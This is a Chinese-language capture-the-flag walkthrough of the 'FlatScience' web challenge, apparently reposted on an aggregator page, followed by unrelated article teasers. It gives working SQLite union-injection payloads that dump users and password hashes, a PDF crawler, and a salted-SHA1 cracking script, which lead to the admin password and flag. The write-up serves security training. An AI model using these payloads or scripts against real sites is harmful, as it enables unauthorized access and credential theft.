攻防世界-web-FlatScience

news2024/9/20 9:01:18

1. 题目描述

打开链接,看到如下界面

界面上的链接都点击下,发现都是一些英文论文

这些暂时是我们从界面上能发现的全部信息了

2. 思路分析 && 解题过程

2.1 先将网站使用nikto命令扫描一下

我们发现除了显式的界面外,还有两个隐藏的界面,一个是admin.php,一个是login.php

我们访问admin.php

这里是一个管理员登录界面,给了默认账号名,但是没有密码

然后访问login.php

和管理员登录界面类似,也是需要输入用户名和密码的

2.2 使用burpsuite访问看是否存在更多信息

我们发现这个有个debug模式的说明,说明大概率开启了debug模式,那么我们在访问login.php时带上参数debug=1

好的,此时我们发现相应的代码已经回显出来了,通过分析代码,我们发现传入的usr字段时存在sql注入的,且对应的后台数据库为sqlite3

2.3 然后就是常用的sql注入环节了

这里和之前mysql不太一样,因为这里是sqlite数据库,因此这里有些sqlite的背景知识需要了解

这里仍然是通过union select的方式确认表中的字段(或者order by也行)

通过尝试,发现只有select 1, 2的时候才不会报错,且会显示第二个字段

ok,接下来就是查询sqlite_mater表中的信息了

将usr设置为1' union select name,sql from sqlite_master -- 1

可以看到数据库中又一张Users表,里面有id,name, password,hint等字段

我们使用同样的方式可以查出表中的所有用户和密码

- usr=1' union select id,name from Users limit 0,1

- usr=1' union select id,password from Users limit 0,1

这样就查出了第一个用户的用户名和密码,且通过修改limit语句,可以查出所有用户的用户名和密码以及hint字段

这里第一个查出来用户名是admin,进行sha1编码后的密码是3fab54a50e770d830c0416df817567662a9dc85c,hint值为my fav word in my fav paper

获取到用户名,密码后接下来就是对密码进行解密了,从login.php的代码中我们不难发现,数据库中的密码是做了一层转换的

2.4 解密环节

既然是做了一层转换,那么如何解密了,这种唯有爆破,当然,根据提示不难发现密码隐藏在网站的pdf论文中

这里参考网上的做法(脚本也参考网上的),从所有论文中单词中对密码进行爆破,脚本如下(来源攻防世界web进阶区FlatScience详解_flatscience 攻防世界-CSDN博客):

这个是用来爬取所有pdf的

import requests
import re
import os
import sys

re1 = '[a-fA-F0-9]{32,32}.pdf'
re2 = '[0-9\/]{2,2}index.html'

pdf_list = []
def get_pdf(url):
    global pdf_list 
    print(url)
    req = requests.get(url).text
    re_1 = re.findall(re1,req)
    for i in re_1:
        pdf_url = url+i
        pdf_list.append(pdf_url)
    re_2 = re.findall(re2,req)
    for j in re_2:
        new_url = url+j[0:2]
        get_pdf(new_url)
    return pdf_list
    # return re_2

pdf_list = get_pdf('http://61.147.171.105:58209/')
print(pdf_list)
for i in pdf_list:
    os.system('wget '+i)

这个是用来爆破解密的

from io import StringIO

#python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter


import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request


def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_to_txt(path_to_file):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    codec = 'utf-8'
    laparams = LAParams()
    device = TextConverter(rsrcmgr, retstr, laparams=laparams)
    fp = open(path_to_file, 'rb')
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    password = ""
    maxpages = 0
    caching = True
    pagenos=set()

    for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
        interpreter.process_page(page)

    text = retstr.getvalue()

    fp.close()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print ("Searching word in " + i)
        pdf_text = convert_pdf_to_txt("./"+i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
            if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
                print ("Find the password :" + word)
                exit()
            
 
if __name__ == "__main__":
    find_password()

执行这俩脚本,得到admin的密码为:ThinJerboa

2.5 登录admin

成功获取到flag为flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

3. 总结

该题算是难度比较高的一道题,综合性很强,考察了sql注入,扫描,爬虫,爆破等常见攻防知识,更重要的是,将这些结合起来,一环扣一环。这种综合性较强的题目非常适合安全人员个人能力的提升和进阶

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1132950.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于MATLAB的Simulink搭建一阶低通滤波器

一、一阶低通滤波的原理 式子中的α作为滤波系数,X ( n ) 为本次的采样值,Y ( n − 1 ) 为上次滤波的输出值,Y ( n ) 为本次滤波后的输出值 一阶低通滤波器是一种常用的信号处理算法,用于去除高频噪声和平滑信号。其基本原理是通过…

4.2 QPainter的绘图接口介绍(上)

4.2 QPainter的接口介绍(上) 上一篇文章中讲述了在哪里绘图,怎么开始绘制,怎么跟绘制设备绑定、解绑等基础知识,今天就来点实操的,下面坐好了,开始阅读吧。 下图是《C++ GUI Programming with Qt 4》这本书中列出的关于QPainter常用的画图方法,基本上都是以draw开头,…

用libuv实现遍历文件系统

熟悉的陌生人 Node.js可能无人不知无人不晓,但Node.js底层实现libuv,恐怕认识的同学就不多了。 libuv是一个跨平台的高性能的异步I/O库,也是是一个网络I/O扩展库,是一个高性能事件驱动的程序库,封装了Windows和Unix平…

【C++】继承 ⑩ ( 继承机制中的 static 静态成员 | 子类中访问父类静态成员的方法 )

文章目录 一、继承机制中派生类中的 static 关键字1、子类继承父类静态成员2、父类静态成员访问控制权限的改变3、子类如何访问父类静态成员4、静态成员使用要点 二、完整代码示例 一、继承机制中派生类中的 static 关键字 1、子类继承父类静态成员 子类继承父类静态成员 : 父类…

Java商城免费搭建 VR全景商城 saas商城 b2b2c商城 o2o商城 积分商城 秒杀商城 拼团商城 分销商城 短视频商城

涉及平台 平台管理、商家端(PC端、手机端)、买家平台(H5/公众号、小程序、APP端(IOS/Android)、微服务平台(业务服务) 2. 核心架构 Spring Cloud、Spring Boot、Mybatis、Redis …

基于Java+SpringBoot+MyBatis+Vue前后端分离宠物领养设计与实现

博主介绍:✌全网粉丝5W,全栈开发工程师,从事多年软件开发,在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战,博主也曾写过优秀论文,查重率极低,在这方面有丰富的经验…

34二叉树-BFS和DFS求树的深度

目录 LeetCode之路——104. 二叉树的最大深度 分析 解法一:广度优先遍历 解法二:深度优先遍历 总结 深度优先搜索 (DFS) 广度优先搜索 (BFS LeetCode之路——104. 二叉树的最大深度 给定一个二叉树 root ,返回其最大深度。 二叉树的…

渗透实战|通过社工进网站后台

通过社工进网站后台 记录一次通过简单社工获取信息后进入后台的经过。打开思路,利用我们所有能够捕获的信息并串联起来。 0X0 开始: 打开网站发现是一个登录网站 随便输入账号密码,发现有用户名枚举: 0X1 获取icp备案企业&…

CSS高级的详细解析

CSS高级 目标:掌握定位的作用及特点;掌握 CSS 高级技巧 01-定位 作用:灵活的改变盒子在网页中的位置 实现: 1.定位模式:position 2.边偏移:设置盒子的位置 left right top bottom 相对定位 posit…

四个小车相对导航集中式无迹卡尔曼滤波(fullyCN-EKF)

背景 二维情况下,四个小车各自有绝对定位(GNSS),相互之间部分有相对定位(UWB)时,一个滤波器搞定四个小车的状态滤波。使用EKF。 建模 四个小车,每个有x、y两个轴,所以…

【网安大模型专题10.19】论文3:ChatGPT+自协作代码生成+角色扮演+消融实验

Self-collaboration Code Generation via ChatGPT 写在最前面朋友分享的收获与启发课堂讨论代码生成如何协作,是一种方法吗思路相同交互实用性 代码生成与自协作框架 摘要相关工作PPT学习大语言模型在代码生成方向提高生成的代码的准确性和质量:前期、后…

在 MaxPatrol SIEM 的帮助下,Positive Technologies 专家检测到影响超过 25 万用户的恶意软件

👨‍💻 从未经验证的来源下载软件?错误。从 torrent 跟踪器下载?致命错误。 八月份,我们的专家使用 MaxPatrol SIEM 在一家俄罗斯公司的网络中发现了异常活动。经过调查,CSIRT 团队(Positive T…

useLayoutEffect和useEffect的区别

使用方式 这两个函数的使用方式其实非常简单,他们都接受一个函数一个数组,只有在数组里面的值改变的情况下才会再次执行 effect。所以对于使用方式我就不过多介绍了,不清楚的可以先参考官网 。 差异 useEffect 是异步执行的,而…

AOP和OOP有什么异同点

面向对象编程(Object-Oriented Programming, OOP)和面向切面编程(Aspect-Oriented Programming, AOP)是两种不同的编程范式,它们各自有着独特的目标和实现方式。下面我将列出它们的一些主要异同点: 相同点 …

基于嵌入式Qt 开发板蜂鸣器(BEEP)

## 简介 在GEC6818开发板,开发板板载资源上有一个蜂鸣器(BEEP)。如下图原理图。此蜂鸣器直接接在一个 GPIO 上,并不是接在 PWM 上,管脚资源限制。 ​ ## 示例 想要控制这个蜂鸣器(BEEP),首先我们出厂内核已经默认将这个 LED 注册成了 gpio-leds 类型设备。 项目简…

Java中JVM、JRE和JDK三者有什么区别和联系?

任何语言或者软件的运行都需要环境。就像人要生活在空气中,鱼要活在水中,喜阴植物就不能放在阳光下暴晒一样,任何对象个体的存在都离不开其所需要的环境,编程语言亦是一样的。 java 语言的开发运行,也离不开 Java 语言…

EtherCAT从站转CclinkIE协议网关应用案例

远创智控的YC-ECT-CCLKIE网关,一款具有强大功能的ETHERCAT通讯网关。 它可以将ETHERCAT网络和CCLINK IE FIELD BASIC网络无缝连接起来。作为ETHERCAT总线中的从站,本网关可以接收来自ETHERCAT主站的数据,并将其传输到CCLINK IE FIELD BASIC网…

【蓝桥杯选拔赛真题01】C++参赛建议 青少年组蓝桥杯C++选拔赛真题 STEMA比赛真题解析

目录 C/C++参赛建议 一、题目要求 1、编程实现 2、输入输出 二、算法分析 <